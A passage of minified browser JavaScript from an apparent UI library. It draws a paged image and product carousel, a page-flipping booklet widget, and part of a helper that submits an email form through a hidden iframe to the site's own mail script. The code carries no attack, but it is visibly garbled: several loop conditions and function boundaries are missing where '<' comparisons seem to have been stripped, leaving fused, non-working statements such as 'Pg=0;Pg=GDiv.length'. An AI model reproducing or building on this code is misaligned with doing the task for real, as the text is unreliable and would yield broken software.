GeyA=Mrlce('button');GeyA.style.position='absolute';GeyA.style.zIndex='6';GeyA.style.top=(10)+'px';GeyA.style.right='10px';GeyA.style.height=(30)+'px';GeyA.style.width=(30)+'px';GeyA.style.backgroundColor='#fff';GeyA.style.border='none 0px #000';GeyA.style.fontFamily='verdana';GeyA.style.fontSize='18px';GeyA.style.color='#555';GeyA.innerHTML='X';GeyA.value='X';GeyA.onclick=function(){this.parentNode.parentNode.parentNode.GGeyCov.onclick()};} else {var Rat=((GeyDiv.offsetWidth/this.offsetWidth)>(GeyDiv.offsetHeight/this.offsetHeight))?(GeyDiv.offsetWidth/this.offsetWidth):(GeyDiv.offsetHeight/this.offsetHeight);Rat=1/Rat*0.8;GeyDiv.style.zIndex='5';GeyDiv.style.width=(GeyDiv.offsetWidth*Rat)+'px';GeyDiv.style.height=(GeyDiv.offsetHeight*Rat)+'px';GeyDiv.style.left=(10)+'px';GeyDiv.style.top=(10)+'px';};var GeyCon=Mrlce('div');if (this.IorD=='I'){GeyImg.GParent=GeyCon};GeyCon.style.zIndex='4';this.appendChild(GeyCon);GeyCon.style.position='absolute';GeyCon.style.top=((this.offsetHeight-GeyDiv.offsetHeight-(10))/2)+'px';GeyCon.style.left=(this.offsetWidth/2)+'px';GeyCon.style.height=(GeyDiv.offsetHeight*1+20)+'px';GeyCon.style.width=(0)+'px';GeyCon.style.backgroundColor='#fff';GeyCon.appendChild(GeyDiv);this.GGeyCon=GeyCon;var GeyCov=Mrlce('div');GeyCon.appendChild(GeyCov);GeyCov.style.position='absolute';GeyCov.style.backgroundColor='#fff';GeyCov.style.top='0px';GeyCov.style.left='0px';GeyCov.style.zIndex='6';GeyCov.style.height='100%';GeyCov.style.width='100%';GeyCov.style.filter='alpha(opacity=100)';GeyCov.style.opacity='1';GeyCov.GGeyCon=GeyCon;GeyCon.GGeyCov=GeyCov;GeyCon.GAniCom=0;MrlAnimation(GeyCon,2,null,((this.offsetWidth-GeyDiv.offsetWidth-(20))/2),null,GeyDiv.offsetWidth*1+20);GeyCon.onMrlAnimationEnd=function(){this.onMrlAnimationEnd=function(){};MrlAnimation(this.GGeyCov,7,null,null,null,null,0);this.GGeyCov.onMrlAnimationEnd=function(){if(this.GGeyCon.onMMrlAnimationEnd){this.GGeyCon.onMMrlAnimationEnd()};this.GGeyCon.GAniCom=1;this.parentNode.removeChild(this)};if(this.onMMrlAnimationEnd){this.onMMrlAnimationEnd()}};GeyCon.GGeyDiv=GeyDiv;GeyCon.GIorD=this.IorD;GeyCon.GRemove=function(){if (this.GIorD=='D'){this.GGeyDiv.GProductGrid_GParentNode.appendChild(this.GGeyDiv);this.GGeyDiv.style.width=(this.parentNode.GProductGrid_GeIWd)+'px';this.GGeyDiv.style.height=(this.parentNode.GProductGrid_GeIHt)+'px';this.GGeyDiv.style.top=(this.GGeyDiv.GProductGrid_GeT)+'px';this.GGeyDiv.style.left=(this.GGeyDiv.GProductGrid_GeL)+'px';this.GGeyDiv.style.zIndex='1';};this.parentNode.GGeyCov.onMrlAnimationEnd=function(){};this.parentNode.removeChild(this)};this.GProductGrid_GDivID=GeID;};GeyDiv.onMrlAutoReelStart=function(){clearTimeout(this.GProductGrid_Timeout);var GeA=this.style.visibility;GeA=GeA+'';GeA=GeA.toUpperCase();var GeB=this.style.display;GeB=GeA+'';GeB=GeA.toUpperCase();if(GeA=='HIDDEN'||GeB=='NONE'){return 0};this.GProductGrid_Timeout=setTimeout("var GeyA=Mrlgei('"+this.id+"');GeyA.onMrlPage(GeyA.GCurPg*1+1);GeyA.onMrlAutoReelStart()",TM);};GeyDiv.onMrlAutoReelStop=function(){clearTimeout(this.GProductGrid_Timeout);};var GeyBtn=Mrlce('div');GeyDiv.appendChild(GeyBtn);GeyBtn.style.position='absolute';GeyBtn.style.top=((GeHt-50)/2)+'px';GeyBtn.style.left=(GeWMar)+'px';GeyBtn.style.height='50px';GeyBtn.style.width='50px';GeyBtn.style.overflow='hidden';GeyBtn.style.zIndex='20';GeyBtn.style.opacity='0';GeyBtn.style.filter='alpha(opacity=0)';GeyBtn.style.cursor='pointer';var GeyImg=Mrlce('img');GeyBtn.appendChild(GeyImg);GeyImg.src='img/arrow.png';GeyImg.style.position='absolute';GeyImg.style.left=(0-60*0)+'px';GeyImg.style.top=(0-60*0)+'px';GeyImg.style.height='auto';GeyImg.style.width='auto';GeyBtn.GOverMe=0;GeyBtn.onmouseover=function(){this.GOverMe=1;MrlAnimation(this,4,null,null,null,null,80)};GeyBtn.onmouseout=function(){this.GOverMe=0;MrlAnimation(this,4,null,null,null,null,20)};GeyBtn.onclick=function(){this.parentNode.onMrlPage(this.parentNode.GCurPg*1-1)};GeyDiv.GBtnL=GeyBtn;var GeyBtn=Mrlce('div');GeyBtn.style.cursor='pointer';GeyDiv.appendChild(GeyBtn);GeyBtn.style.position='absolute';GeyBtn.style.top=((GeHt-50)/2)+'px';GeyBtn.style.left=(GeWd-GeWMar-50)+'px';GeyBtn.style.height='50px';GeyBtn.style.width='50px';GeyBtn.style.overflow='hidden';GeyBtn.style.zIndex='20';GeyBtn.style.opacity='0';GeyBtn.style.filter='alpha(opacity=0)';var GeyImg=Mrlce('img');GeyBtn.appendChild(GeyImg);GeyImg.src='img/arrow.png';GeyImg.style.position='absolute';GeyImg.style.right=(0)+'px';GeyImg.style.top=(0-60*0)+'px';GeyImg.style.height='auto';GeyImg.style.width='auto';GeyBtn.GOverMe=0;GeyBtn.onmouseover=function(){this.GOverMe=1;MrlAnimation(this,4,null,null,null,null,80)};GeyBtn.onmouseout=function(){this.GOverMe=0;MrlAnimation(this,4,null,null,null,null,20)};GeyBtn.onclick=function(){this.parentNode.onMrlPage(this.parentNode.GCurPg*1+1)};GeyDiv.GBtnR=GeyBtn;var GeyBarSha=Mrlce('img');GeyDiv.appendChild(GeyBarSha);GeyBarSha.style.position='absolute';GeyBarSha.style.top=((GeHt-GePgBarHt))+'px';GeyBarSha.style.left='0px';GeyBarSha.style.zIndex='10';GeyBarSha.style.width=GeWd+'px';GeyBarSha.style.height='8px';GeyBarSha.src='/MRL/img/shadow_b.png';var GeyBar=Mrlce('div');GeyDiv.appendChild(GeyBar);GeyBar.style.position='absolute';GeyBar.style.top=((GeHt-GePgBarHt))+'px';GeyBar.style.left=(GeWMar)+'px';GeyBar.style.height=(GePgBarHt)+'px';GeyBar.style.width='100%';GeyBar.style.overflow='hidden';GeyBar.style.zIndex='2';GeyBar.GDic=new Array();GeyBar.GPageSelecting=0;var PgImgLen=Math.round((GePgBarHt)*0.8);for(var Pg=0;Pg=GDiv.length){var GeyNewDiv=Mrlce('div');var Chk=0}else{var GeyNewDiv=GDiv[GImgInd];var Chk=1};GeyNewDiv.style.position='absolute';GeyNewDiv.style.top='0px';GeyNewDiv.style.left=((GeIWd*1+GeWMar)*C)+'px';GeyNewDiv.GProductGrid_GeT=0;GeyNewDiv.GProductGrid_GeL=((GeIWd*1+GeWMar)*C);GeyNewDiv.style.height=(GeIHt)+'px';GeyNewDiv.style.width=(GeIWd)+'px';GeyNewDiv.style.zIndex='1';GeyNewDiv.GDivID=GImgInd;GeyNewDiv.GProductGrid_GParentNode=GeyR;GeyR.appendChild(GeyNewDiv);if (Chk==1){GeyDiv.GProductGrid_GDicDiv[GImgInd]=GeyNewDiv;GeyNewDiv.style.cursor='pointer';};} else if(IorD=='I'){if (GImgInd>=GDiv.length){var Chk=0}else{var Chk=1};var GeyNewDiv=Mrlce('div');GeyNewDiv.style.position='absolute';GeyNewDiv.style.top='0px';GeyNewDiv.style.left=((GeIWd*1+GeWMar)*C)+'px';GeyNewDiv.style.height=(GeIHt)+'px';GeyNewDiv.style.width=(GeIWd)+'px';GeyNewDiv.style.zIndex='1';GeyNewDiv.style.overflow='hidden';GeyNewDiv.GDivID=GImgInd;GeyNewDiv.GProductGrid_GParentNode=GeyR;GeyR.appendChild(GeyNewDiv);if (Chk==1){GeyDiv.GProductGrid_GDicDiv[GImgInd]=GeyNewDiv;var GeyNImg=Mrlce('img');GeyDiv.appendChild(GeyNImg);GeyNImg.style.position='absolute';GeyNImg.style.width='100%';GeyNImg.style.left='-100%';GeyNImg.style.top='0px';GeyNImg.style.height='2px';GeyNImg.id='MrlProductionGrid_PreLoadSImg_'+parseInt(Math.random()*999999);GeyNImg.src=GDiv[GImgInd][0];GeyNImg.mto=setTimeout("var GeyA=Mrlgei('"+GeyNImg.id+"');GeyA.onMrlLoad()",2000);GeyNImg.onload=function(){this.style.height='auto';setTimeout("var GeyA=Mrlgei('"+this.id+"');GeyA.onMrlLoad()",10);};GeyNImg.onMrlLoad=function(){clearTimeout(this.mto);this.GParent.removeChild(this.GGeyImg);var Rat=1;var Ht=this.offsetHeight;var Wd=this.offsetWidth;var WdA=this.GParent.offsetWidth;var HtA=this.GParent.offsetHeight;Rat=(HtA/Ht)>(WdA/Wd)?(HtA/Ht):(WdA/Wd);this.style.height=(Ht*Rat)+'px';this.style.width=(Wd*Rat)+'px';var HW=(Ht/HtA)>(Wd/WdA)?'H':'W';this.style.top=HW=='W'?'0px':(0-(((Ht*Rat)-HtA)/2))+'px';this.style.left=HW=='H'?'0px':(0-(((Wd*Rat)-WdA)/2))+'px';this.GParent.appendChild(this);};GeyNImg.GParent=GeyNewDiv;var GeyImg=Mrlce('img');GeyNImg.GGeyImg=GeyImg;GeyNewDiv.appendChild(GeyImg);var ddd=Mrlce('div');ddd.style.visibility='hidden';GeyNewDiv.appendChild(ddd);Mrlab4(ddd,-100,-100,100,100);ddd.style.overflow='hidden';ddd.appendChild(GeyNImg);GeyImg.style.position='absolute';GeyImg.style.left=((GeIWd-40)/2)+'px';GeyImg.style.top=((GeIHt-40)/2)+'px';GeyImg.style.width='40px';GeyImg.style.height='40px';GeyImg.src='img/loading.gif';GeyCov=Mrlce('div');GeyR.appendChild(GeyCov);GeyCov.style.position='absolute';GeyCov.style.top='0px';GeyCov.style.left=((GeIWd*1+GeWMar)*C)+'px';GeyCov.style.height=(GeIHt)+'px';GeyCov.style.width=(GeIWd)+'px';GeyCov.style.zIndex='2';GeyCov.style.overflow='hidden';GeyCov.GDivID=GImgInd;GeyCov.GProductGrid_GParentNode=GeyR;var GeyOp=Mrlce('div');GeyCov.appendChild(GeyOp);GeyOp.style.position='absolute';GeyOp.style.top='0px';GeyOp.style.left='0px';GeyOp.style.height=(GeIHt)+'px';GeyOp.style.width=(GeIWd)+'px';GeyOp.style.filter='alpha(opacity=0)';GeyOp.style.opacity='0';GeyOp.style.cursor='pointer';GeyOp.style.zIndex='3';GeyOp.GDivID=GImgInd;GeyOp.style.backgroundColor='#aaa';GeyOp.GProductGrid_GParentNode=GeyR;var GeyCon=Mrlce('div');GeyCov.appendChild(GeyCon);GeyOp.GGeyCon=GeyCon;GeyCon.style.position='absolute';GeyCon.style.top=(0-GeIHt)+'px';GeyCon.style.left='0px';GeyCon.style.height=(GeIHt)+'px';GeyCon.style.width=(GeIWd)+'px';GeyCon.style.zIndex='2';GeyCon.style.fontFamily='verdana';GeyCon.style.fontSize='14';GeyCon.style.color='#000';GeyCon.innerHTML=GDiv[GImgInd][2];if (CDV==0){GeyOp.onmouseover=function(){MrlAnimation(this,2,null,null,null,null,30);MrlAnimation(this.GGeyCon,2,0);this.GGeyCon.onMrlAnimationEnd=function(){}};GeyOp.onmouseout=function(){MrlAnimation(this,2,null,null,null,null,0);MrlAnimation(this.GGeyCon,2,this.GGeyCon.offsetHeight);this.GGeyCon.onMrlAnimationEnd=function(){this.onMrlAnimationEnd=function(){};this.style.top=(0-this.offsetHeight)+'px'}};};if (SOC==0){GeyOp.onclick=function(){this.parentNode.parentNode.parentNode.parentNode.onMrlDivClick(this.GDivID)}};};};};};};GeyDiv.onMrlAutoReelStart();return GeyDiv;};MrlBooklet = function(GBooklet_Ary,GBooklet_offset,GBooklet_pageColor){var DicA=GBooklet_Ary;var GeyBk=Mrlce('div');var PCol=GBooklet_pageColor?GBooklet_pageColor:'#fafafa';GeyBk.id='MrlBooklet_id_'+parseInt(Math.random()*99999);GeyBk.GBooklet_Spd=0;GeyBk.GBooklet_Ang=0;GeyBk.GBooklet_SpdCal=function(){this.GBooklet_Spd-=this.GBooklet_Spd==0?0:this.GBooklet_Spd>0?20:-20;this.GBooklet_Spd=Math.abs(this.GBooklet_Spd)<20?0:this.GBooklet_Spd;this.GBtnR.innerHTML=this.GBooklet_Spd;setTimeout("Mrlgei('"+this.id+"').GBooklet_SpdCal()",500);};GeyBk.GTtlPg=DicA.length;GeyBk.GPg=0;GeyBk.GDicPg=DicA;GeyBk.GOffset=GBooklet_offset?GBooklet_offset:-80;var PgHt=0;var PgWd=0;for (var i in DicA) {if (!DicA[i].parentNode){document.body.appendChild(DicA[i])};PgHt=PgHt=this.parentNode.GBookletPages.length){return 0};var TOLR=this.GToLR;var GOffset=this.parentNode.GOffset;var GeyA=this.parentNode.GBookletPages[PgNoA];var GeyB=this.parentNode.GBookletPages[PgNoB];if (TOLR=='L'&&Ang<=45) {TOLR='L';}else if (TOLR=='L'&&Ang>45) {TOLR='R';if (Ang<=90){GeyA.GAng=90;GeyB.GAng=90};GeyA.style.zIndex=(0-GeyA.GPg);GeyB.style.zIndex=(0-GeyB.GPg);}else if (TOLR=='R'&&Ang>=135) {TOLR='R';}else if (TOLR=='R'&&Ang<135) {TOLR='L';if (Ang>=90){GeyA.GAng=90;GeyB.GAng=90};GeyA.style.zIndex=GeyA.GPg;GeyB.style.zIndex=GeyB.GPg};GeyA.GDirection=TOLR=='L'?(0-1):1;GeyB.GDirection=TOLR=='L'?(0-1):1;GeyA.GLR='R';GeyB.GLR='L';this.parentNode.GBooklet_Ang=0;this.onMrlScroll=this.onscroll;this.onscroll=function(){};this.scrollLeft=TOLR=='L'?PgWd*2*(PgNo*1+1):PgWd*2*PgNo;this.onscroll=this.onMrlScroll;GeyA.onMrlAutoComplete();};GeyScr.onmouseout=function(e){this.onmouseup();};GeyScr.onscroll=function(){clearTimeout(this.GPadTimeout);var PgWd=this.GBooklet_PgWd;var PreScr=this.GPreScrollLeft;var CurScr=this.scrollLeft;this.GPreScrollLeft=CurScr;var Ang=180-(((CurScr%(PgWd*2))/(PgWd*2))*180);var PgNo=parseInt(CurScr/(PgWd*2));var PgNoA=PgNo*2;var PgNoB=PgNo*2+1;if (isNaN(Ang)){return 0};this.parentNode.GBooklet_Ang=Ang;if (Ang==0||Ang==180){return 0};if (PgNoA<=-1){return 0};if (PgNoA>=this.parentNode.GBookletPages.length){return 0};var TOLR=(PreScr>=CurScr)?'L':'R';this.GToLR=TOLR;var GOffset=this.parentNode.GOffset;var GeyA=this.parentNode.GBookletPages[PgNoA];var GeyB=this.parentNode.GBookletPages[PgNoB];GeyA.GDirection=TOLR=='L'?(0-1):1;GeyB.GDirection=TOLR=='L'?(0-1):1;GeyA.GAng=Ang;GeyB.GAng=Ang;GeyA.GLR='R';GeyB.GLR='L';if (Ang<=90){GeyA.style.zIndex=(GeyA.GPg);GeyB.style.zIndex=(GeyB.GPg);}else{GeyA.style.zIndex=(0-GeyA.GPg);GeyB.style.zIndex=(0-GeyB.GPg);};if (GOffset>=0) {this.parentNode.GPgOpen(GeyA,Ang,GOffset,'R');if (PgNoB0?'0px':Math.abs(GeyBk.GOffset)+'px';GeyDiv.style.left=(PgWd*1+1)+'px';GeyDiv.style.zIndex=(0-i);GeyDiv.style.border='dotted 1px #999';GeyDiv.style.overflow='hidden';GeyDiv.style.backgroundColor=PCol;GeyDiv.GPg=i;GeyDiv.GParent=GeyBk;if (Math.round((i-1)/2)==(i-1)/2){var GeySha=Mrlce('div');GeyDiv.GShad=GeySha;GeySha.style.position='absolute';GeySha.style.top=(0-PgHt)+'px';GeySha.style.left=(0)+'px';GeySha.style.width='10px';GeySha.style.height=PgHt+'px';GeySha.style.zIndex=(0-DicA.length)-1;GeySha.style.backgroundColor='#aaa';GeySha.style.filter='alpha(opacity=20)';GeySha.style.opacity='0.2';GeyBk.appendChild(GeySha);};GeyDiv.onMrlAutoComplete=function(){var LR=this.GDirection;var Ang=this.GAng;var Pos=this.GLR;var Spd=Mrlie9()?10:1;Ang=Ang%180;Ang=Ang*1+(Math.abs(parseInt((Math.sin((Ang)*Math.PI/180)*Spd)))*LR+3*LR);if (Ang<=0){Ang=0};if (Ang>=180){Ang=180};if (Pos=='L'&&(LR==1)&&(Ang<=0||Ang>=180)){Ang=180};if (Pos=='L'&&(LR==(0-1))&&(Ang<=0||Ang>=180)){Ang=0};if (Pos=='R'&&(LR==1)&&(Ang<=0||Ang>=180)){Ang=0};if (Pos=='R'&&(LR==(0-1))&&(Ang<=0||Ang>=180)){Ang=180};this.GAng=Ang;var GOffset=this.GParent.GOffset;if (GOffset>=0) {if (Pos=='L'){this.parentNode.GPgOpen(this,180-Ang,GOffset,'L');} else {this.parentNode.GPgOpen(this,Ang,GOffset,'R');};}else{if (Pos=='L'){this.parentNode.GPgOpen(this,(Ang),GOffset,'L');} else {this.parentNode.GPgOpen(this,Ang,GOffset,'R');};};var GeyA=this.parentNode.GBookletPages[this.GPg*1+1];var LR=GeyA.GDirection;var Ang=GeyA.GAng;var Pos=GeyA.GLR;Ang=Ang%180;Ang=Ang*1+(Math.abs(parseInt((Math.sin((Ang)*Math.PI/180)*Spd)))*LR+3*LR);if (Ang<=0){Ang=0};if (Ang>=180){Ang=180};Ang=Math.round(Ang);if (Pos=='L'&&(LR==1)&&(Ang<=0||Ang>=180)){Ang=180};if (Pos=='L'&&(LR==(0-1))&&(Ang<=0||Ang>=180)){Ang=0};if (Pos=='R'&&(LR==1)&&(Ang<=0||Ang>=180)){Ang=0};if (Pos=='R'&&(LR==(0-1))&&(Ang<=0||Ang>=180)){Ang=180};GeyA.GAng=Ang;var GOffset=GeyA.GParent.GOffset;if (Ang<=90){if (Pos=='L'){GeyA.style.zIndex=(0+GeyA.GPg)} else {GeyA.style.zIndex=(0-GeyA.GPg)};}else{if (Pos=='L'){GeyA.style.zIndex=(0-GeyA.GPg)} else {GeyA.style.zIndex=(0+GeyA.GPg)};};if (GOffset>=0) {if (Pos=='L'){GeyA.parentNode.GPgOpen(GeyA,180-Ang,GOffset,'L');} else {GeyA.parentNode.GPgOpen(GeyA,Ang,GOffset,'R');};}else{if (Pos=='L'){GeyA.parentNode.GPgOpen(GeyA,(Ang),GOffset,'L');} else {GeyA.parentNode.GPgOpen(GeyA,Ang,GOffset,'R');};};clearTimeout(this.GTimeout);if (Ang<=0||Ang>=180) {return 0};this.GTimeout=setTimeout("var GeyA=Mrlgei('"+this.GParent.id+"').GBookletPages["+this.GPg+"].onMrlAutoComplete()",50);};GeyBk.appendChild(GeyDiv);if (DicA.length<=i){DicA[i]=Mrlce('div')};GeyDiv.appendChild(DicA[i]);DicA[i].style.position='absolute';DicA[i].style.top='0px';DicA[i].style.left='0px';DicA[i].style.zIndex=(0-i);DicA[i].style.height=(PgHt)+'px';DicA[i].style.width=(PgWd)+'px';if (Mrlie9()){GeyDiv.style.filter='progid:DXImageTransform.Microsoft.Matrix();';var GeyMat=GeyDiv.filters['DXImageTransform.Microsoft.Matrix'];GeyMat.Dx=(PgWd/2)*1+1;GeyDiv.style.left=(0)+'px';GeyDiv.style.height=(PgHt*2)+'px';GeyDiv.style.width=(PgWd*2)+'px';GeyDiv.style.top=GeyBk.GOffset>0?(0-(PgHt/2))+'px':(0-(PgHt/2))*1+Math.abs(GeyBk.GOffset)+'px';DicA[i].style.border=GeyDiv.style.border;GeyDiv.style.border='none 0px #000';DicA[i].style.backgroundColor=GeyDiv.style.backgroundColor;GeyDiv.style.backgroundColor='transparent';DicA[i].style.top=(PgHt/2)+'px';DicA[i].style.left=(PgWd/2)+'px';} else {GeyDiv.style.overflow='visible';GeyDiv.style.left=(PgWd/2)+'px';GeyDiv.style.height=(PgHt)+'px';GeyDiv.style.width=(PgWd)+'px';GeyDiv.style.top=GeyBk.GOffset>0?0+'px':(Math.abs(GeyBk.GOffset)*2)+'px';DicA[i].style.border=GeyDiv.style.border;GeyDiv.style.border='none 0px #000';DicA[i].style.backgroundColor=GeyDiv.style.backgroundColor;GeyDiv.style.backgroundColor='transparent';DicA[i].style.top=(0)+'px';DicA[i].style.left=(0)+'px';MrlTransform(GeyDiv,'matrix(1,0,0,1,'+(PgWd/2)+',0)');};};var GeyBtn=Mrlce('div');GeyBtn.style.position='absolute';if (Mrlie9()){GeyBtn.style.top=GeyBk.GOffset>0?(PgHt/2)+'px':((PgHt/2)*1+Math.abs(GeyBk.GOffset)*1)+'px';}else{GeyBtn.style.top=GeyBk.GOffset>0?(PgHt/2)+'px':((PgHt/2)*1+Math.abs(GeyBk.GOffset)*2)+'px';};GeyBtn.style.left=(10)+'px';GeyBtn.style.height='50px';GeyBtn.style.width='50px';GeyBtn.style.zIndex=DicA.length*1+4;GeyBtn.style.overflow='hidden';GeyBtn.style.cursor='pointer';GeyBtn.GIO='0';GeyBtn.onmouseover=function(){this.GIO=1};GeyBtn.onmouseout=function(){this.GIO=0};GeyBtn.onclick=function(){this.parentNode.GGeyScr.scrollLeft=this.parentNode.GGeyScr.scrollLeft*1-(this.parentNode.GBookletPages[0].childNodes[0].offsetWidth/2*1+10);setTimeout("Mrlgei('"+this.parentNode.id+"').GGeyScr.onmouseup()",0);};var GeyImg=Mrlce('img');GeyImg.src='img/arrow.png';GeyImg.style.position='absolute';GeyImg.style.top='-10'+'px';GeyImg.style.left='-10'+'px';GeyImg.style.height='auto';GeyImg.style.width='auto';GeyImg.style.zIndex=DicA.length*1+4;GeyBtn.appendChild(GeyImg);GeyBk.appendChild(GeyBtn);GeyBk.GBtnL=GeyBtn;GeyBk.BtnL=GeyBtn;var GeyBtn=Mrlce('div');GeyBtn.style.position='absolute';if (Mrlie9()){GeyBtn.style.top=GeyBk.GOffset>0?(PgHt/2)+'px':((PgHt/2)*1+Math.abs(GeyBk.GOffset)*1)+'px';}else{GeyBtn.style.top=GeyBk.GOffset>0?(PgHt/2)+'px':((PgHt/2)*1+Math.abs(GeyBk.GOffset)*2)+'px';};GeyBtn.style.right=(10)+'px';GeyBtn.style.height='50px';GeyBtn.style.width='50px';GeyBtn.style.zIndex=DicA.length*1+4;GeyBtn.style.overflow='hidden';GeyBtn.style.cursor='pointer';GeyBtn.GIO='0';GeyBtn.onmouseover=function(){this.GIO=1};GeyBtn.onmouseout=function(){this.GIO=0};GeyBtn.onclick=function(){this.parentNode.GGeyScr.scrollLeft=this.parentNode.GGeyScr.scrollLeft*1+(this.parentNode.GBookletPages[0].childNodes[0].offsetWidth/2*1+10);setTimeout("Mrlgei('"+this.parentNode.id+"').GGeyScr.onmouseup()",0);};var GeyImg=Mrlce('img');GeyImg.src='img/arrow.png';GeyImg.style.position='absolute';GeyImg.style.top='-10'+'px';GeyImg.style.right='-10'+'px';GeyImg.style.height='auto';GeyImg.style.width='auto';GeyImg.style.zIndex=DicA.length*1+4;GeyBtn.appendChild(GeyImg);GeyBk.appendChild(GeyBtn);GeyBk.GBtnR=GeyBtn;GeyBk.BtnR=GeyBtn;GeyBk.onmouseover=function(e){this.GBtnL.GIO=0;};GeyBk.onmouseout=function(){this.GBtnL.GIO=1;};GeyBk.onmousemove=function(e){if(!e){e=window.event};return 0;if (this.GBtnR.GIO!='0'||this.GBtnL.GIO!='0'){return 0};var GeX=e.offsetY?e.offsetY:e.layerY;var GeY=e.offsetX?e.offsetX:e.layerX;var Ang=((GeY)/(this.offsetWidth/2))*90;this.GBtnL.innerHTML=GeY;if (isNaN(Ang)){return 0};this.GBooklet_Ang=Ang;var LR=(GeY>=(this.offsetWidth/2))?'R':'L';var LRN=(GeY>=(this.offsetWidth/2))?'0':'-1';if ((this.GPg*1+LRN*1)<0||(this.GPg*1+LRN*1)>=this.GBookletPages.length){return 0};var GeyA=this.GBookletPages[(this.GPg*1+LRN*1)];if (this.GOffset>=0) {this.GPgOpen(GeyA,180-this.GBooklet_Ang,this.GOffset,LR);}else{this.GPgOpen(GeyA,this.GBooklet_Ang,this.GOffset,LR);};};GeyBk.GPgOpen=function(GPgOpen_GeyA,GPgOpen_Rotate,GPgOpen_OffsetTop,GPgOpen_LR){var LR=GPgOpen_LR;LR=LR+'';LR=LR.toUpperCase();var Ang=GPgOpen_Rotate;var GOffset=GPgOpen_OffsetTop;var NP=GOffset<0?(0-1):1;Ang=((Ang*1+360)%360);if (Ang!=180&&Ang!=0){if (LR=='L'){Ang=Ang-180};Ang=GOffset<0?((Ang%180)*1+180):((Ang%180)*1);};var GeyA=GPgOpen_GeyA;var Cos=Math.cos(Ang*Math.PI/180);var Sin=Math.sin(Ang*Math.PI/180);GOffset=Math.abs(GOffset);var OffsetScale=(GOffset)/(GeyA.offsetWidth/2);if (Mrlie9()){var GeyB=GeyA.filters['DXImageTransform.Microsoft.Matrix'];GeyB.M11=(Cos);GeyB.M12=0;GeyB.M21=(Sin*OffsetScale);GeyB.M22=1;if(LR=='L'){GeyB.Dx=((GeyA.offsetWidth/2)*1-(Cos*GeyA.offsetWidth*1/4)*1-(Cos*GeyA.offsetWidth*2/4));GeyB.Dy=((GeyA.offsetHeight/4)*1-(GeyA.offsetHeight/4)*1+(Sin*(GeyA.offsetWidth*1/4*OffsetScale)*1)*1-(Sin*GeyA.offsetWidth*OffsetScale));Shax=((((GeyA.offsetWidth/2)*1-(Cos*GeyA.offsetWidth*1/4)*1-(Cos*GeyA.offsetWidth*2/4))*1+GeyA.offsetWidth/4)/(GeyA.offsetWidth*3/4))*(GeyA.offsetWidth/2);Shay=((((GeyA.offsetWidth/2)*1-(Cos*GeyA.offsetWidth*1/4)*1-(Cos*GeyA.offsetWidth*2/4))*1+GeyA.offsetWidth/4)/(GeyA.offsetWidth*3/4))*(GeyA.offsetWidth/2)-GeyA.offsetWidth/2;} else if(LR=='R'){GeyB.Dx=((GeyA.offsetWidth/2)-(Cos*GeyA.offsetWidth*1/4));GeyB.Dy=((GeyA.offsetHeight/4)*1-((GeyA.offsetHeight/4)*1+(Sin*(GeyA.offsetWidth*1/4*OffsetScale))*1));};ShaTp=GeyA.offsetTop*1+(GeyA.offsetHeight/4);var GeyC=GeyA.childNodes[0];}else{var GeyC=GeyA;if (LR=='L'){var Lf=0-(Cos*GeyC.offsetWidth/2);var Tp=0-(Sin*GeyC.offsetWidth*OffsetScale/2);}else if (LR=='R'){var Lf=(Cos*GeyC.offsetWidth/2);var Tp=(Sin*GeyC.offsetWidth*OffsetScale/2);};Shax=GeyC.offsetWidth-((Cos*GeyC.offsetWidth/2)*2);Shay=Math.abs((Cos*GeyC.offsetWidth/2)*2);ShaTp=GeyA.offsetTop;var GeA=Cos+','+(Sin*OffsetScale)+','+(0)+','+1+','+Lf+','+Tp;MrlTransform(GeyC,'matrix('+GeA+')');};if (GeyA.GShad){var GeySha=GeyA.GShad;GeySha.style.zIndex=GeyA.style.zIndex;GeySha.style.top=ShaTp+'px';if (Ang>=270||Ang<=90){GeySha.style.left=(Shax*1+10)+'px';if (((GeyC.offsetWidth)-Shax-10)<=0){GeySha.style.width='0px'}else{GeySha.style.width=((GeyC.offsetWidth)-Shax-10)+'px'};} else {GeySha.style.left=((GeyC.offsetWidth))+'px';if ((Shay-10)<=0){GeySha.style.width='0px'}else{GeySha.style.width=(Shay-10)+'px'};};if (GeyA.GAng==180||GeyA.GAng==0){GeySha.style.top=(0-(GeyA.offsetHeight))+'px'};};return GeyA;};setTimeout("Mrlgei('"+GeyBk.id+"').GGeyScr.scrollLeft=0;",0);document.body.removeChild(GeyBk);return GeyBk;};MrlEmailSubmit=function(GEmailSubmit_MailTo,GEmailSubmit_MailSubject,GEmailSubmit_MailText){var GIF=Mrlce('iframe');GIF.style.position='absolute';GIF.style.top='-300px';GIF.style.left='0px';GIF.style.width='300px';GIF.style.height='200px';GEmailSubmit_MailText=MrlReplace(GEmailSubmit_MailText,decodeURI('%0a'),'
');GEmailSubmit_MailText=MrlReplace(GEmailSubmit_MailText,decodeURI('%0d'),'');GIF.id='MrlEmailSubmit'+Math.round(Math.random()*9999);document.body.appendChild(GIF);GIF.src='/MRL/mail.php?mrl=1';GIF.GMailTo=GEmailSubmit_MailTo;GIF.GMailSubject=GEmailSubmit_MailSubject;GIF.GMailText=GEmailSubmit_MailText;GIF.onMrlLoad=function(){if (!this.contentWindow.document) {setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};var GeA=this.contentWindow.document.readyState;GeA=GeA+'';GeA=GeA.toUpperCase();if (GeA.indexOf('COMPLETE')==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};var GeyA=this.contentWindow.document;if (!GeyA.getElementById('Content')){setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};GeyA.getElementById('Mail To').value=this.GMailTo;GeyA.getElementById('Mail Subject').value=this.GMailSubject;GeyA.getElementById('Content').value=this.GMailText;GeyA.getElementsByTagName('form')[0].submit();setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",500);};GIF.GFunctionThis=GIF;GIF.onMrlSent=function(){alert('Please Set onMrlSent function() to the return')};GIF.onMrlLoadEnd=function(){if (!this.contentWindow.document) {setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};var GeA=this.contentWindow.document.readyState;GeA=GeA+'';GeA=GeA.toUpperCase();if (GeA.indexOf('COMPLETE')==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};var GeyA=this.contentWindow.document;if (!GeyA.getElementById('MrlSta')){setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};GeA="Message sent";GeA=GeA.toUpperCase();var GeB=GeyA.getElementById('MrlSta').innerHTML;var GeC=GeB+'';var GeD=1;GeC=GeC.toUpperCase();if 